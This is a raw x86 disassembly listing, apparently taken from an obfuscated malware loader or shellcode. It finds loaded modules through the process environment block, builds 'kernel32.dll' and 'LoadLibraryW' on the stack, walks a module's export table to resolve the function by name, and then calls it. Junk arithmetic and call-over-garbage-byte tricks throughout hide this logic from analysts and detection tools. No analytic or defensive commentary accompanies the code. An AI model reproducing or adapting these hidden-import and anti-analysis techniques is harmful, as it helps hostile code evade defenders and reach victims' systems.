mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
push ebx
add esp, 4
add ecx, 0x1679f
sub ecx, 0x8082
or ecx, 0xd8d7
or ecx, 0x168f0
pop ecx
push edi
xor edi, 0x16d47
or edi, 0xd768
add edi, 0x132f
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x61810b
mov dword [ebp - 0x2a8], 0
jmp 0x618356
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
xor edi, 0x14cfa
and edi, 0xccb9
pop edi
push edx
push ebx
add esp, 4
and edx, 0x6193
pop edx
push edx
xor edx, 0x101a7
call 0x618145
add byte [ebx + eax*2], dh
cmp eax, 0x3d4e354b
add esp, 4
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push esi
add esp, 4
add ebx, 0x2180
sub ebx, 0x925b
pop ebx
push edx
and edx, 0xd48a
call 0x61819b
add byte [0x3338493c], bh
cmp dword [esi + 0x41], eax
inc ebx
add esp, 4
sub edx, 0x129a8
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
sub eax, 0xac2d
or eax, 0x10afd
and eax, 0x10675
pop eax
push eax
push eax
add esp, 4
jmp 0x61821b
add eax, 0x7c09
add eax, 0x6f62
or eax, 0x9bd5
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x61824b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x6182a5
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x618173
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x618173
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x61828f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x618299
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x6182ee
push ecx
push ebx
add esp, 4
sub ecx, 0x35a0
call 0x6182c8
add byte [ecx + 0x47], al
cmp dword [edi], esi
xor dh, byte [edi]
dec ecx
inc edx
cmp al, 0x83
les eax, [ecx + eax*4]
leave
xchg byte [ecx + eax + 0x31e18100], al
rol dword [eax], 1
add byte [ecx + 0x53], bl
sub ebx, 0xa9ba
pop ebx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x618356
push esi
push eax
add esp, 4
sub esi, 0x168
add esi, 0x477c
or esi, 0x3f1f
pop esi
push ecx
and ecx, 0x108dc
and ecx, 0x15452
sub ecx, 0xbc80
and ecx, 0x11fa4
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x61834c
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x618117
mov dword [ebp - 0x2a8], 0
push edx
push eax
add esp, 4
xor edx, 0x1811e
xor edx, 0xabdc
add edx, 0x1814
or edx, 0xa00f
pop edx
push edx
push eax
add esp, 4
xor edx, 0x6c9a
pop edx
push ecx
and ecx, 0x158ba
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x618c8d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
xor ecx, 0x1581
and ecx, 0x135a9
or ecx, 0x15d77
pop ecx
push ecx
push eax
add esp, 4
and ecx, 0x5c25
or ecx, 0xdecb
and ecx, 0x14996
sub ecx, 0x157f1
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push edi
add esp, 4
sub esi, 0x62cc
jmp 0x6184f4
add esi, 0x52ab
and esi, 0x10907
pop esi
push edi
add edi, 0x7be0
pop edi
push eax
push edx
add esp, 4
xor eax, 0xbe4e
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x61852d
mov dword [ebp - 0x710], 0
jmp 0x6187d4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
xor edx, 0xfd2d
or edx, 0x12a2c
pop edx
push edx
push esi
add esp, 4
call 0x618561
add byte [eax + 0x46], al
dec esi
aas
inc edx
xor al, 0x4b
inc edi
inc ecx
add esp, 4
sub edx, 0x35fd
add edx, 0x40c7
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x618589
mov dword [ebp - 0x710], 0
jmp 0x6187d4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
xor eax, 0x83f7
pop eax
push ebx
push eax
add esp, 4
xor ebx, 0xbffb
or ebx, 0xf704
call 0x6185bd
add byte [esi + 0x45], al
xor al, 0x3b
inc esp
cmp dl, byte [eax + 0x49]
dec esi
add esp, 4
add ebx, 0x43fe
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
and ecx, 0x9145
add ecx, 0x10722
call 0x61860d
add byte [eax + 0x50], dl
cmp dword [ecx + 0x3a], eax
dec eax
cmp dword [ebp + 0x3f], ecx
add esp, 4
or ecx, 0x2f40
pop ecx
push edx
push eax
add esp, 4
and edx, 0x15c1c
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
xor eax, 0x10269
jmp 0x618688
add eax, 0xe77b
pop eax
push ebx
push edx
add esp, 4
call 0x6186a2
add byte [edx], dh
inc ecx
dec edx
cmp al, byte [esi + 0x3f]
xor eax, 0x4c48334
add ebx, 0x2709
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x6186c9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x618723
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x6185f1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x6185f1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x61870d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x618717
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x61876c
push eax
push ebx
add esp, 4
and eax, 0x6469
or eax, 0x47f3
add eax, 0x17478
pop eax
push eax
add eax, 0xa5cc
or eax, 0x103ca
or eax, 0xe07c
add eax, 0x2e29
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x6187d4
push edx
push ecx
add esp, 4
xor edx, 0x24fd
pop edx
push ebx
call 0x618788
add byte [edx], dh
inc edx
dec ebp
inc esi
inc ecx
xor al, 0x34
inc edx
add esp, 4
jmp 0x618791
and ebx, 0x16749
add ebx, 0xd1b2
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x6187ca
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x618595
mov dword [ebp - 0x710], 0
push ecx
or ecx, 0x6bca
and ecx, 0x16f96
jmp 0x6187ea
pop ecx
push edi
push esi
add esp, 4
and edi, 0x147e6
sub edi, 0x16ed
jmp 0x618805
pop edi
cmp dword [ebp - 0x710], 0
jne 0x618850
push edi
push edi
add esp, 4
add edi, 0x7ca0
or edi, 0x17069
add edi, 0x13d3e
or edi, 0x150a4
pop edi
push esi
and esi, 0x11c0d
add esi, 0xfabe
add esi, 0x37a1
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x619378
push ecx
push esi
add esp, 4
and ecx, 0x13033
and ecx, 0x221d
pop ecx
push eax
push edi
add esp, 4
jmp 0x61886f
xor eax, 0x5c73
xor eax, 0xeb99
and eax, 0x6ad4
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x6188c1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x618bb2
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x6188e9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x618bb2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x61891b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x618bb2
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x618940
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x618bb2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x61899a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x618ba6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x618a0a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x618abc
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x618abc
push esi
push edx
add esp, 4
jmp 0x618a45
sub esi, 0xd98a
and esi, 0xe0b5
pop esi
push edx
xor edx, 0xd0a3
pop edx
push edi
jmp 0x618a60
jmp 0x618a68
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x618aae
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x618ab5
jmp 0x6189fb
jmp 0x618abc
push edi
jmp 0x618ac4
pop edi
push edi
xor edi, 0xc9ac
jmp 0x618ad5
sub edi, 0x12f9f
or edi, 0xf849
pop edi
push edx
push eax
add esp, 4
add edx, 0xee75
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x618b1b
mov dword [ebp - 0xc5c], 0
jmp 0x618b8a
push edi
sub edi, 0x5d67
add edi, 0x6e1b
add edi, 0x5fbd
pop edi
push ebx
push ebx
add esp, 4
or ebx, 0x250f
add ebx, 0xb09e
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x11d3c
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x618b80
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x618b8a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x618ba1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x618bb2
jmp 0x61898b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x618c8d
push esi
push edi
add esp, 4
or esi, 0xcd09
and esi, 0xc982
add esi, 0x1503
pop esi
push edx
or edx, 0x3a52
call 0x618bed
add byte [ebx + ecx*2 + 0x3b], cl
inc edx
cmp eax, 0x3249344c
add esp, 4
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
or ebx, 0x1ef6
call 0x618c11
add byte [ebx + 0x48], cl
inc ebp
inc ecx
dec esp
inc ebp
inc ebx
add esp, 4
pop ebx
push ecx
jmp 0x618c1c
add ecx, 0x45eb
pop ecx
push esi
push ecx
add esp, 4
add esi, 0x119ec
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x618c8d
push edx
sub edx, 0x14998
pop edx
push ebx
push eax
add esp, 4
call 0x618c68
add byte [edx], bh
aaa
push eax
inc esp
cmp dword [ecx], edi
dec esp
dec esp
inc ebp
add esp, 4
sub ebx, 0x7435
pop ebx
push edx
push edx
add esp, 4
add edx, 0x27bd
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x619378
push edx
push ecx
add esp, 4
xor edx, 0x74d1
call 0x618ca4
add byte [ecx + eax*2 + 0x3d], cl
dec ebx
inc edi
dec esi
add esp, 4
and edx, 0x689e
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0xca65
jmp 0x618cbe
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
xor ebx, 0x12ccb
xor ebx, 0x4439
add ebx, 0x17692
and ebx, 0x10e22
pop ebx
push ecx
push esi
add esp, 4
add ecx, 0x8860
pop ecx
push ecx
push edx
add esp, 4
add ecx, 0x550e
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x618d31
mov dword [ebp - 0x2a8], 0
jmp 0x618fd8
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push eax
add esp, 4
xor edx, 0x11c4f
and edx, 0x518c
and edx, 0x9485
pop edx
push edi
push edx
add esp, 4
add edi, 0x170fd
xor edi, 0x11d2a
pop edi
push eax
xor eax, 0x134f4
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x618d8d
mov dword [ebp - 0x2a8], 0
jmp 0x618fd8
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx